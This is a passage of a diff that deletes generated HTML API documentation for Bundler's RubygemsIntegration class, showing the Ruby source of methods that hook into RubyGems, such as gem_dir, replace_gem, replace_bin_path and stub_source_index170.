-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 52</span>
-52:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem_bindir</span>
-53:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">bindir</span>
-54:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="gem-dir-method" class="method-detail ">
-				<a name="method-i-gem_dir"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem_dir</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="gem-dir-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 48</span>
-48:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem_dir</span>
-49:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">dir</span>
-50:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="gem-path-method" class="method-detail ">
-				<a name="method-i-gem_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="gem-path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 60</span>
-60:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem_path</span>
-61:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">path</span>
-62:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="inflate-method" class="method-detail ">
-				<a name="method-i-inflate"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">inflate</span><span
-						class="method-args">(obj)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="inflate-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 36</span>
-36:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">inflate</span>(<span class="ruby-identifier">obj</span>)
-37:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">inflate</span>(<span class="ruby-identifier">obj</span>)
-38:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="loaded-specs-method" class="method-detail ">
-				<a name="method-i-loaded_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">loaded_specs</span><span
-						class="method-args">(name)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="loaded-specs-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 8</span>
- 8:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">loaded_specs</span>(<span class="ruby-identifier">name</span>)
- 9:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">loaded_specs</span>[<span class="ruby-identifier">name</span>]
-10:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="mark-loaded-method" class="method-detail ">
-				<a name="method-i-mark_loaded"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">mark_loaded</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="mark-loaded-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 12</span>
-12:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">mark_loaded</span>(<span class="ruby-identifier">spec</span>)
-13:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">loaded_specs</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>] = <span class="ruby-identifier">spec</span>
-14:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="marshal-spec-dir-method" class="method-detail ">
-				<a name="method-i-marshal_spec_dir"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">marshal_spec_dir</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="marshal-spec-dir-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">marshal_spec_dir</span>
-65:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">MARSHAL_SPEC_DIR</span>
-66:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="path-method" class="method-detail ">
-				<a name="method-i-path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">path</span><span
-						class="method-args">(obj)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 16</span>
-16:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">path</span>(<span class="ruby-identifier">obj</span>)
-17:       <span class="ruby-identifier">obj</span>.<span class="ruby-identifier">to_s</span>
-18:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="platforms-method" class="method-detail ">
-				<a name="method-i-platforms"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">platforms</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="platforms-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">platforms</span>
-21:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">platforms</span>
-22:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="preserve-paths-method" class="method-detail ">
-				<a name="method-i-preserve_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">preserve_paths</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="preserve-paths-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 76</span>
-76:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">preserve_paths</span>
-77:       <span class="ruby-comment cmt"># this is a no-op outside of Rubygems 1.8</span>
-78:       <span class="ruby-keyword kw">yield</span>
-79:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="read-binary-method" class="method-detail ">
-				<a name="method-i-read_binary"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">read_binary</span><span
-						class="method-args">(path)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="read-binary-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 32</span>
-32:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">read_binary</span>(<span class="ruby-identifier">path</span>)
-33:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">read_binary</span>(<span class="ruby-identifier">path</span>)
-34:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="replace-bin-path-method" class="method-detail ">
-				<a name="method-i-replace_bin_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">replace_bin_path</span><span
-						class="method-args">(specs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Used to make bin stubs that are not created by bundler work under bundler.
-The new Gem.bin_path only considers gems in <tt>specs</tt>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="replace-bin-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 204</span>
-204:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">replace_bin_path</span>(<span class="ruby-identifier">specs</span>)
-205:       <span class="ruby-identifier">gem_class</span> = (<span class="ruby-keyword kw">class</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Gem</span> ; <span class="ruby-keyword kw">self</span> ; <span class="ruby-keyword kw">end</span>)
-206:       <span class="ruby-identifier">gem_class</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:remove_method</span>, <span class="ruby-value">:bin_path</span>)
-207:       <span class="ruby-identifier">gem_class</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:define_method</span>, <span class="ruby-value">:bin_path</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span>, *<span class="ruby-identifier">args</span><span class="ruby-operator">|</span>
-208:         <span class="ruby-identifier">exec_name</span>, *<span class="ruby-identifier">reqs</span> = <span class="ruby-identifier">args</span>
-209: 
-210:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">exec_name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundle'</span>
-211:           <span class="ruby-keyword kw">return</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_BIN_PATH'</span>]
-212:         <span class="ruby-keyword kw">end</span>
-213: 
-214:         <span class="ruby-identifier">spec</span> = <span class="ruby-keyword kw">nil</span>
-215: 
-216:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">exec_name</span>
-217:           <span class="ruby-identifier">spec</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">exec_name</span>) }
-218:           <span class="ruby-identifier">spec</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">raise</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Exception</span>, <span class="ruby-node">&quot;can't find executable #{exec_name}&quot;</span>
-219:         <span class="ruby-keyword kw">else</span>
-220:           <span class="ruby-identifier">spec</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">find</span>  { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">name</span> }
-221:           <span class="ruby-identifier">exec_name</span> = <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">default_executable</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">raise</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Exception</span>, <span class="ruby-node">&quot;no default executable for #{spec.full_name}&quot;</span>
-222:         <span class="ruby-keyword kw">end</span>
-223: 
-224:         <span class="ruby-identifier">gem_bin</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">full_gem_path</span>, <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">bindir</span>, <span class="ruby-identifier">exec_name</span>)
-225:         <span class="ruby-identifier">gem_from_path_bin</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">loaded_from</span>), <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">bindir</span>, <span class="ruby-identifier">exec_name</span>)
-226:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">gem_bin</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">gem_bin</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">gem_from_path_bin</span>
-227:       <span class="ruby-keyword kw">end</span>
-228:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="replace-entrypoints-method" class="method-detail ">
-				<a name="method-i-replace_entrypoints"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">replace_entrypoints</span><span
-						class="method-args">(specs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Replace or hook into Rubygems to provide a bundlerized view of the world.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="replace-entrypoints-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 240</span>
-240:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">replace_entrypoints</span>(<span class="ruby-identifier">specs</span>)
-241:       <span class="ruby-identifier">reverse_rubygems_kernel_mixin</span>
-242: 
-243:       <span class="ruby-identifier">replace_gem</span>(<span class="ruby-identifier">specs</span>)
-244: 
-245:       <span class="ruby-identifier">stub_rubygems</span>(<span class="ruby-identifier">specs</span>)
-246: 
-247:       <span class="ruby-identifier">replace_bin_path</span>(<span class="ruby-identifier">specs</span>)
-248:       <span class="ruby-identifier">replace_refresh</span>
-249: 
-250:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">clear_paths</span>
-251:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-
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-			</div>
-
-		
-			<div id="replace-gem-method" class="method-detail ">
-				<a name="method-i-replace_gem"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">replace_gem</span><span
-						class="method-args">(specs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="replace-gem-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 119</span>
-119:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">replace_gem</span>(<span class="ruby-identifier">specs</span>)
-120:       <span class="ruby-identifier">executables</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">executables</span> }.<span class="ruby-identifier">flatten</span>
-121: 
-122:       <span class="ruby-operator">::</span><span class="ruby-constant">Kernel</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:define_method</span>, <span class="ruby-value">:gem</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span>, *<span class="ruby-identifier">reqs</span><span class="ruby-operator">|</span>
-123:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">executables</span>.<span class="ruby-identifier">include?</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">caller</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">':'</span>).<span class="ruby-identifier">first</span>)
-124:           <span class="ruby-keyword kw">return</span>
-125:         <span class="ruby-keyword kw">end</span>
-126:         <span class="ruby-identifier">opts</span> = <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-127: 
-128:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:name</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:requirement</span>)
-129:           <span class="ruby-identifier">dep</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">reqs</span>)
-130:         <span class="ruby-keyword kw">end</span>
-131: 
-132:         <span class="ruby-identifier">spec</span> = <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">find</span>  { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span> }
-133: 
-134:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">nil?</span>
-135: 
-136:           <span class="ruby-identifier">e</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">LoadError</span>.<span class="ruby-identifier">new</span> <span class="ruby-node">&quot;#{dep.name} is not part of the bundle. Add it to Gemfile.&quot;</span>
-137:           <span class="ruby-identifier">e</span>.<span class="ruby-identifier">name</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>
-138:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:requirement=</span>)
-139:             <span class="ruby-identifier">e</span>.<span class="ruby-identifier">requirement</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>
-140:           <span class="ruby-keyword kw">else</span>
-141:             <span class="ruby-identifier">e</span>.<span class="ruby-identifier">version_requirement</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>
-142:           <span class="ruby-keyword kw">end</span>
-143:           <span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>
-144:         <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">dep</span> <span class="ruby-operator">!~</span> <span class="ruby-identifier">spec</span>
-145:           <span class="ruby-identifier">e</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">LoadError</span>.<span class="ruby-identifier">new</span> <span class="ruby-node">&quot;can't activate #{dep}, already activated #{spec.full_name}. &quot;</span>                                   <span class="ruby-value str">&quot;Make sure all dependencies are added to Gemfile.&quot;</span>
-146:           <span class="ruby-identifier">e</span>.<span class="ruby-identifier">name</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>
-147:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:requirement=</span>)
-148:             <span class="ruby-identifier">e</span>.<span class="ruby-identifier">requirement</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>
-149:           <span class="ruby-keyword kw">else</span>
-150:             <span class="ruby-identifier">e</span>.<span class="ruby-identifier">version_requirement</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>
-151:           <span class="ruby-keyword kw">end</span>
-152:           <span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>
-153:         <span class="ruby-keyword kw">end</span>
-154: 
-155:         <span class="ruby-keyword kw">true</span>
-156:       <span class="ruby-keyword kw">end</span>
-157:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="replace-refresh-method" class="method-detail ">
-				<a name="method-i-replace_refresh"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">replace_refresh</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Because <a href="../Bundler.html">Bundler</a> has a static view of what
-specs are available, we don&#8217;t reflesh, so stub it out.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="replace-refresh-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 232</span>
-232:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">replace_refresh</span>
-233:       <span class="ruby-identifier">gem_class</span> = (<span class="ruby-keyword kw">class</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Gem</span> ; <span class="ruby-keyword kw">self</span> ; <span class="ruby-keyword kw">end</span>)
-234:       <span class="ruby-identifier">gem_class</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:remove_method</span>, <span class="ruby-value">:refresh</span>)
-235:       <span class="ruby-identifier">gem_class</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:define_method</span>, <span class="ruby-value">:refresh</span>) { }
-236:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="reverse-rubygems-kernel-mixin-method" class="method-detail ">
-				<a name="method-i-reverse_rubygems_kernel_mixin"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">reverse_rubygems_kernel_mixin</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="reverse-rubygems-kernel-mixin-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 107</span>
-107:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">reverse_rubygems_kernel_mixin</span>
-108:       <span class="ruby-comment cmt"># Disable rubygems' gem activation system</span>
-109:       <span class="ruby-operator">::</span><span class="ruby-constant">Kernel</span>.<span class="ruby-identifier">class_eval</span> <span class="ruby-keyword kw">do</span>
-110:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">private_method_defined?</span>(<span class="ruby-value">:gem_original_require</span>)
-111:           <span class="ruby-keyword kw">alias</span> <span class="ruby-identifier">rubygems_require</span> <span class="ruby-identifier">require</span>
-112:           <span class="ruby-keyword kw">alias</span> <span class="ruby-identifier">require</span> <span class="ruby-identifier">gem_original_require</span>
-113:         <span class="ruby-keyword kw">end</span>
-114: 
-115:         <span class="ruby-keyword kw">undef</span> <span class="ruby-identifier">gem</span>
-116:       <span class="ruby-keyword kw">end</span>
-117:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="ruby-engine-method" class="method-detail ">
-				<a name="method-i-ruby_engine"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ruby_engine</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="ruby-engine-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 28</span>
-28:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ruby_engine</span>
-29:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">ruby_engine</span>
-30:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="sources-method" class="method-detail ">
-				<a name="method-i-sources"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">sources</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="sources-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 44</span>
-44:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sources</span>
-45:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">sources</span>
-46:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="sources--method" class="method-detail ">
-				<a name="method-i-sources%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">sources=</span><span
-						class="method-args">(val)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="sources--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 40</span>
-40:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sources=</span>(<span class="ruby-identifier">val</span>)
-41:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">sources</span> = <span class="ruby-identifier">val</span>
-42:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="spec-from-gem-method" class="method-detail ">
-				<a name="method-i-spec_from_gem"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">spec_from_gem</span><span
-						class="method-args">(path)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="spec-from-gem-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 99</span>
- 99:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">spec_from_gem</span>(<span class="ruby-identifier">path</span>)
-100:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Format</span>.<span class="ruby-identifier">from_file_by_path</span>(<span class="ruby-identifier">path</span>).<span class="ruby-identifier">spec</span>
-101:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="stub-source-index--method" class="method-detail ">
-				<a name="method-i-stub_source_index137"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">stub_source_index137</span><span
-						class="method-args">(specs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="stub-source-index--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 170</span>
-170:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">stub_source_index137</span>(<span class="ruby-identifier">specs</span>)
-171:       <span class="ruby-comment cmt"># Rubygems versions lower than 1.7 use SourceIndex#from_gems_in</span>
-172:       <span class="ruby-identifier">source_index_class</span> = (<span class="ruby-keyword kw">class</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SourceIndex</span> ; <span class="ruby-keyword kw">self</span> ; <span class="ruby-keyword kw">end</span>)
-173:       <span class="ruby-identifier">source_index_class</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:remove_method</span>, <span class="ruby-value">:from_gems_in</span>)
-174:       <span class="ruby-identifier">source_index_class</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:define_method</span>, <span class="ruby-value">:from_gems_in</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span>*<span class="ruby-identifier">args</span><span class="ruby-operator">|</span>
-175:         <span class="ruby-identifier">source_index</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SourceIndex</span>.<span class="ruby-identifier">new</span>
-176:         <span class="ruby-identifier">source_index</span>.<span class="ruby-identifier">spec_dirs</span> = *<span class="ruby-identifier">args</span>
-177:         <span class="ruby-identifier">source_index</span>.<span class="ruby-identifier">add_specs</span>(*<span class="ruby-identifier">specs</span>)
-178:         <span class="ruby-identifier">source_index</span>
-179:       <span class="ruby-keyword kw">end</span>
-180:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="stub-source-index--method" class="method-detail ">
-				<a name="method-i-stub_source_index170"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">stub_source_index170</span><span
-						class="method-args">(specs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="stub-source-index--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 182</span>
-182:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">stub_source_index170</span>(<span class="ruby-identifier">specs</span>)
-183:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SourceIndex</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:define_method</span>, <span class="ruby-value">:initialize</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span>*<span class="ruby-identifier">args</span><span class="ruby-operator">|</span>
-184:         <span class="ruby-ivar">@gems</span> = {}
-185:         <span class="ruby-comment cmt"># You're looking at this thinking: Oh! This is how I make those</span>
-186:         <span class="ruby-comment cmt"># rubygems deprecations go away!</span>
-187:         <span class="ruby-comment cmt">#</span>
-188:         <span class="ruby-comment cmt"># You'd be correct BUT using of this method in production code</span>
-189:         <span class="ruby-comment cmt"># must be approved by the rubygems team itself!</span>
-190:         <span class="ruby-comment cmt">#</span>
-191:         <span class="ruby-comment cmt"># This is your warning. If you use this and don't have approval</span>
-192:         <span class="ruby-comment cmt"># we can't protect you.</span>
-193:         <span class="ruby-comment cmt">#</span>
